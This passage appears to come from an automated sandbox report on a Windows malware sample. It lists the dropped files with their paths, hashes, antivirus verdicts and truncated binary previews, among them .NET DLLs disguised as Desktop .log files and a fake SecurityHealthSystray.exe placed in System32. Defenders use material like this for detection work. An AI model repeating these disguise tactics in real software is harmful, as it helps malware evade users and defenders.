SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n2DjPAUNS5

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vIdupOOCRB

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.483856189774723
Encrypted:	false
SSDEEP:	3:m0kPH9TeFon:QPdqFon
MD5:	BCBC1BE904DB3C2AF516007D70A7328D
SHA1:	77D4DE824203296A7DD49DCC59AAE701C536E523
SHA-256:	B29408B540D36A0626378BE35A3D264D0F6D05255223560F887E63D7EE7976EE
SHA-512:	331D08DF179726EB401C2F6EED4962DE93407938A6E8582A856E15EF7AACE8A58D5999807FBAE31919ADBE27E3B3E8F8C02E77499869DD9FEBF844FCE778F579
Malicious:	false
Preview:	OIMCk2dvQH3SgF4bhJvl5tXDM

C:\Users\user\AppData\Local\Temp\ypVavKRNle

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\BKssDYZe.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Joe Sandbox View:	Filename: 3797b089c11dcb14a87fecc45c8ab3e0f9937b30dde47.exe, Detection: malicious, Browse Filename: WebDriverDll.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: yyTqxbOXbF.exe, Detection: malicious, Browse Filename: 4fmxsamrPG.exe, Detection: malicious, Browse Filename: 4QXC0LSV8t.exe, Detection: malicious, Browse Filename: WWAHost.exe, Detection: malicious, Browse Filename: d9547f6fb33a04224e2c6c21da599dce528933049e790.exe, Detection: malicious, Browse Filename: X5DJaKj0aB.exe, Detection: malicious, Browse Filename: SjA6nVF1ey.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LtLImAfM.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\MisrAuuZ.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QOjHvYIG.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\VLAgkoJG.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\VbfYWdkt.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\XWWhkGoH.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gzfXUzEp.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\kDbNjluP.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\maBeiKPb.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tgjDTeKx.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xGvCnmjD.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.004572029101103
Encrypted:	false
SSDEEP:	48:6sp/PtP+M7Jt8Bs3FJsdcV4MKe271d7vqBHSOulajfqXSfbNtm:7P1Pc+Vx9MTvk8cjRzNt
MD5:	14D5CC120ADAD60E9048B651C600B6A2
SHA1:	4F67625A1FA9FE2500577A1BC9F905130143B42A
SHA-256:	0A8A332F66EDD1450668245F124A391EDC350F704D216AB5FCF45C0016E0550D
SHA-512:	D58800DF22F68E9B6262904153E5A24AD2875426C4E0F809977E7BDC12129E325D930D3A0506FF2D7741A70310DDFFBE267DB40567640917719EC3ABEBD879FD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................'... ...@....@.. ....................................@..................................'..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..`.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.0.......#GUID...@... ...#Blob...........WU........%3................................................................

C:\Windows\en-GB\51176c96b1e3a4

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with very long lines (880), with no line terminators
Category:	dropped
Size (bytes):	880
Entropy (8bit):	5.898051218243136
Encrypted:	false
SSDEEP:	24:k5jN7ZOmtUdu6HsBGPpc4XvOSpvJsMSw8k1n82cAw:k5F4m/6MBGPpcMvvpvtSSt82Pw
MD5:	E2CF3E3CF85F063E0B9CF495D43809A6
SHA1:	CA81476006120406BFB8C0F8AB3FC0EE8C35002B
SHA-256:	A1162F1F68B945862A7C4BD7A56028ACE2762363500F5A502C79F08EAE9BCF6F
SHA-512:	9929848003D7A0FB39B06B193B85D9A1193E4F85213B7A307E89F06D34FE7608919ED93DB409023BC2E5371EF8FF66F1E61F7F9C4C656B06D4C2AFA816AEB451
Malicious:	false
Preview:	Mj4Pb8QxRILg1GtUpMwYSf3271N5yb9AUzOW7kzk2qZR9WbipmMhd1krqBRkuU9zILMB2XXEWLglGl3lZpQMOcgcPhq5SPzirjIxKZqROHKSU9kEIqKFDwlqotwUrbwHV83hdFb9888HSOHP6mxmFue58cJbnVkwVD7WFCkCPKGExeYalgXFnKCke7jB69WnYLvPRvK4BvW4nZHdEs0G7fJKAW2HdjGPxdqmsIJzWdD2xH7E0F6NJQp3CkO43CabpHGJtfv5jAtebQX2ZxRYn2FhyxjH4O6UDmMqBxVUTBoJhLbvNVfFuCyxBjV65oBVEZayDr1lb6ElO69nVx3is0jAyZoccZZpASFIunsgd4ny8MjFjrlHucnNzaAoCZJChYl5113rFXFyMvCl0i2uyR5ip1SUmDdEvlQjlnOsy3BXWyAEXZxdgYNQcDP9ijFB3ADlecANUK65PiL01O6MQAhWYAGhXOJOxAdWvZk4ZkIWbRA42ZHUm2v3cqMdVczGArIPEyEcoBxq1L5G9Mp8Gzm4Ok3FMGi6uCVtJvzDUpqkFEBRvGeJw19LFNAe59Qhc05y0L6NWmnbIBzJimUFlZK2DJn6vVIVZIHOINakJQxKOhDEX05SpK6DqDurhAcAeRCA3kBVLt5VmAofGji4azqOMEiFctCJxwp6fCKxzjH5PkbqYOk7bikolyyzC53brvh0UsADYvF1sv9lm1rNIEsPLBUrOVu4qpOdDlWpOhjqdt60yMMKNpSmDRoSXTyCAKKChghBfB9lfBwcEe2CJkqAWlZv7DS4tgpSi3TSpKoLqrGBfLO3bw3aeKq5GvEctE19Ve4KLjW85eUofXQvyZd7mPyYNYL3GMcl0GpAQEr1Z5f9

C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	7.5599312737247715
Encrypted:	false
SSDEEP:	24576:aaYfSyZiVbDcHyKpSxoKSoVJqjvQhufJOx9lpougTDMy79UWvlwYSrlN:aOQAxoRobq0MJOx9vg8y79UgKYSr
MD5:	F5C25B9C7F555EE1D53CE4A530C475C8
SHA1:	7E0A41CB7C6F71423A4CC932E47DBF0C217E76E4
SHA-256:	749CCD7B752553B5D7F9D9979EB8DADB6D70FB8879B22E1C6C315931D931A8AA
